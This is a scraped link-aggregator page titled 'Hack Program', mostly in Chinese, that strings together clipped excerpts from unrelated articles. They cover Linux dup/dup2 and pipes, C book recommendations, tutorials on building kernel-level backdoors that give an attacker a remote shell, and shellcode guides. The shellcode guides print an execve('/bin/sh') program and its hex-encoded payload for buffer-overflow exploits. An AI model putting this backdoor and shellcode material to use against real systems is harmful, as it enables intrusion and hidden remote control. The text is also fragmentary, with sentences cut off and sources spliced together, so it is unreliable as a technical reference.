background preloader

Hack Program

Facebook Twitter

Linux管道编程技术:dup函数,dup2函数,open函数详解 - 时刻保持危机感&对知识的渴望. (一)dup函数,dup2()函数 1.dup和dup2也是两个非常有用的调用,它们的作用都是用来复制一个文件的描述符。 它们经 常用来重定向进程的stdin、stdout和stderr。 这两个函数的 原形如下: #include <unistd.h> int dup( int oldfd ); int dup2( int oldfd, int targetfd ) 利用函数dup,我们可以复制一个描述符。 传给该函数一个既有的描述符,它就会返回一 个新的描述符,这个新的描述符是传给它的描述符的拷贝。 个数据结构。 第二个是一样的。 果是一样的,子进程也同样会收到一个复制出来的描述符。 。 第一个参数)的复制品,换句话说,两个文件描述符现在都指向同一个文件,并且是函数第一 个参数指向的文件。 叫做fd1。 由1代表的文件描述符(即stdout,因为标准输出文件的id为1)。 在都将改为写入名为“app_log”的文件中。 立即将其关闭,但不会关掉新近打开的文件描述符,因为文件描述符1现在也指向它。 们将ls –1命令的标准输出作为标准输入连接到wc –l命令。

加以说明这个过程的实现。 子进程(第13–16行)和一个父进程(第20–23行)。 述符(第13行),然后提供了ls –1命令功能,不过它不是写到stdout(第13行),而是写到 我们建立的管道的输入端,这是通过dup函数来完成重定向的。 Stdout重定向到管道(pfds[1])。 子进程的映像替换为命令ls –1的进程映像,一旦该命令执行,它的任何输出都将发给管道的 输入端。 首先关闭stdin描述符(第20行),因为我们不会从机器的键盘等标准设备文件来接收数据的 输入,而是从其它程序的输出中接收数据。 变成管道的输出端,这是通过让文件描述符0(即常规的stdin)等于pfds[0]来实现的。 管道的stdout端(pfds[1]),因为在这里用不到它。 在该程序中,需要格外关注的是,我们的子进程把它的输出重定向的管道的输入,然后, 父进程将它的输入重定向到管道的输出。 在具体说dup/dup2之前, 我认为有必要先了解一下文件描述符在内核中的形态。 一个进程在此存在期间,会有一些文件被打开,从而会返回一些文件描述符,从shell 中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联, 项,由文件指针指向。 先将其关闭。 Linux下C高手成长过程----经典书籍推荐 - 蹒跚. 来自: 建议学习路径: 首先先学学编辑器,vim, emacs什么的都行。 然后学make file文件,只要知道一点就行,这样就可以准备编程序了。 然后看看《C程序设计语言》K&R,这样呢,基本上就可以进行一般的编程了,顺便找本数据结构的书来看。 如果想学习UNIX/LINUX的编程,《Advanced Programing in Unix Envirement》绝对经典的教材,加深一下功底,学习《Unix Network Programing》的第二卷。 这样基本上系统方面的就可以掌握了。 然后再看Douglus E. 对于几本经典教材的评价: 《The C Programing Language》K&R 经典的C语言程序设计教材,作者是C语言的发明者,教材内容深入浅出。 《Advanced Programing inUnix Envirement》 W.RichardStevens:也是非常经典的书(废话,Stevens的书哪有不经典的!)

《Unix Network Programing》W.Richard Stevens:第一卷讲BSD Socket网络编程接口和另外一种网络编程接口的,不过现在一般都用BSD Socket,所以这本书只要看大约一半多就可以了。 《TCP/IP祥解》一共三卷,卷一讲协议,卷二讲实现,卷三讲编程应用。 《用TCP/IP进行网际互连》Douglus.E.Comer 一共三卷,卷一讲原理,卷二讲实现,卷三讲高级协议。 《Operating System - Designand Implement》这个是讲操作系统的书,用Minix做的例子。 《Linux Device Driver》2e ,为数不多的关于Linux设备驱动程序的好书。 推荐《unix环境高级编程》 《linux kernel development》(中文名忘了) 《linux内核剖析》 《linux设备驱动》 《深入理解linux内核》 初级:熟练使用命令、熟悉Shell编程、能配置简单的服务,清楚各类服务相关的配置文件的位置,能看懂并可修改系统提供的配置脚本(/etc/*.*)推荐书籍:《鸟哥的私房菜基础篇、高级篇》《Advanced Bash Shell》 C语言书籍推荐 1.

Linux 内核级后门的原理和简单实战 - Top大杂烩. 用户空间与内核空间--------------------------- linux是一个具有保护模式的操作系统。 它一直工作在i386 cpu的保护模式之下。 内存被分为两个单元: 内核区域和用户区域。 (译者注:我觉得还是这样叫比较顺口)内核区域存放并运行着核心代码,当然,顾名思义,用户区域也存放并运行用户程序。 当然,作为用户进程来讲它是不能访问内核区域内存空间以及其他用户进程的地址空间的。 不幸地是, 核心进程也有同样的情况。 这里有一些比较有用的核心函数用来作为内核区与用户区相互传递参数用。 #include <asm/segment.h> get_user(ptr)从用户内存获取给定的字节, 字,或者长整形。 Put_user(ptr)和get_user()非常相似, 但,它不是从用户内存读取数据,而是想用户内存写数据。 Memcpy_fromfs(void *to, const void *from,unsigned long n)从用户内存中的*from拷贝n个字节到指向核心内存的指针*to。 Memcpy_tofs(void *to,const *from,unsigned long n)从核心内存中的*from拷贝n个字节数据到用户内存中的*to。 /*译者注:这四个函数足以在2.0.x中解决内核和用户区的参数传递问题,在2.0.x以上的版本有新的实现,即copy_user_to(...)以及copy_user_from(...)根据内核版本这些特殊函数会有不同,请关注核心代码的实现方法。

系统调用 大部分的c函数库的调用都依赖于系统调用, 就是一些使用户程序可以调用的简单核心包装函数。 就象MS-DOS和其他许多系统一样, linux中的系统调用依赖一个给定的中断来调用多个系统调用。 * _system_call()是如何工作的 ? 首先, 所有的寄存器被保存并且%eax寄存器全面检查系统调用表, 这张表列举了所有的系统调用和他们的地址信息。 这儿是一个有问题的系统调用例程: [root@plaguez kernel]# cat no1.c#include <linux/errno.h>#include <sys/syscall.h>#include <errno.h> extern void *sys_call_table[]; sc(){ // 165这个系统调用号是不存在的。 抒写Linux 2.6.x下内核级后门程序 | 鬼仔's Blog. Author: wzt EMail: wzt@xsec.org Site: & Date: 2008-8-29 一. 内核后门简介 二. 内核中系统调用 三. 使用kernel mode socket函数 四. 如何扩展后门 五. 参考资料 六. 相关源代码 一. 所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。 二. Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函 数。

Int my_read(int fd, char * buf, off_t count) { long __res; __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx" : "=a" (__res) : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), "d" ((long)(count)) :"memory"); return (int)(__res); } 这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。

通过上面的例子,我们明白了如何在用户空间下来使用系统调用。 Linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。 #define my__syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ } \ return (type) (res); \ } while (0) 编译的时候就会被展开成: int read(int fd, char * buf, off_t count) \ { \ long __res; \ 其他函数类似。 Out: 抒写Linux 2.6.x下内核级后门程序(初版)_WZT的自由世界. 抒写Linux 2.6.x下内核级后门程序(初版) Author: wzt EMail: wzt@xsec.org Site: Date: 2008-8-29 一. 二. 三. 四. 五. 六. 所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。 本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。 Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函数。 Int my_read(int fd, char * buf, off_t count) long __res; __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx" : "=a" (__res) :"0"(__NR_read), "ri" ((long)(fd), "c"((long)(buf), "d" ((long)(count)) :"memory"); return (int)(__res); 这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。

通过上面的例子,我们明白了如何在用户空间下来使用系统调用。 Linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。 #define my__syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ return (type) (res); \ } while (0) #define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ type name(type1 arg1,type2 arg2,type3 arg3) \ long __res; \ 编译的时候就会被展开成: 抒写Linux 2.6.x下内核级后门程序(初版)3_WZT的自由世界. 四. 如何扩展后门 如果费这么大力气在内核中就实现了这么简单的功能,还不如在用户空间实现。 问题关键是我们现在在内核中,只要对内核有足够的了解,还有什么不能实现的呢? 内核源码在手,能做什么,就看你的想象力了。 下面说说编写更高级后门时需要注意的一些地方: 1. 2. 五. . [1] Linux kernel source code [2] sk1.3-b source code – sd [3] enyelkm 1.2 - RaiSe && David Reguera [4] wnps-2.26 – wzt 六. Syscalls.h /* macros de syscalls */ int errno; #define my__syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ return (type) (res); \ } while (0) /* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar #define my_syscall0(type,name) \ type name(void) \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name)); \ my__syscall_return(type,__res); \ #define my_syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \ : "memory"); \ type5,arg5) \

【S01E08】Shark恒 破解教程之图文!【万能的脚本】 - 『脱壳破解区』 吾爱破解论坛 - LCG - LSG |软件安全|病毒分析|破解软件|软件论坛|www.52pojie.cn. Shellcode Tutorial 1: Introduction and Tools Setup | Project Shellcode. Introduction The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework". What are the differences between windows shellcode and Linux shellcode? ( Linux, unlike windows, provides a direct way to interface with the kernel through the int 0x80 interface. A complete listing of the Linux syscall table can be found at Windows on the other hand, does not have a direct kernel interface.

The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). So, what about windows? There are multitudes of ways to find the addresses of the functions that you need to use in your shellcode. Lets setup your environment! Gcc -o arwin arwin.c. Writing Shellcode for Linux and Windows. Writing Shellcode for Linux and Windows Tutorial by steve 0.1 Table of Contents Frequently Asked Questions Background Information Required Tools Optional Tools Linux Shellcoding - Example 1 - Making a Quick Exit - Example 2 - Saying Hello - Example 3 - Spawning a Shell Windows Shellcoding - Example 1 - Sleep is for the Weak - Example 2 - A Message to say "Hey" - Example 3 - Adding an Administrative Account Conclusion Further Reading/Attributions Frequently Asked Questions 1.

What is shellcoding? Shellcoding in its most literal sense, means writing code that will return a remote shell when executed. 2. Yes, you are correct, there are tons of repositories all around the internet for shellcoding. 3. A decent understanding of x86 assembly, C, and knowledge of the Linux and Windows operating systems. 4. Linux, unlike windows, provides a direct way to interface with the kernel through the int 0x80 interface. 5. 6. 7. 8. Background Information. The shellcode building for buffer overflow exploit testing using C programming language and Intel processor on Linux machine. As a C program - shellcode.c: #include <unistd.h> int main(int argc, char*argv[ ]){ char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); return 0;} Take note that the assembly code can be embedded in the C code using the __asm__ keyword and asm for the reverse (GCC, Microsoft).

As a null terminated C string char array in C program: char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; The shellcode declared as a C string of char type may be the most widely used in exploit codes and the typical format is shown below: char shcode[ ] = "\x90\x31\x89... " In a wider definition, shell code not just be used to spawn a shell, it also can be used to create a general payload. The exploitation technique.The payload.

The objective of the exploitation part is to divert the execution path of the vulnerable program. Once we control the execution path, we probably want it to execute our code. Example: Registers usage: Well it works. Nessus报告解析工具 - Risu - 安全工具 - BugZone.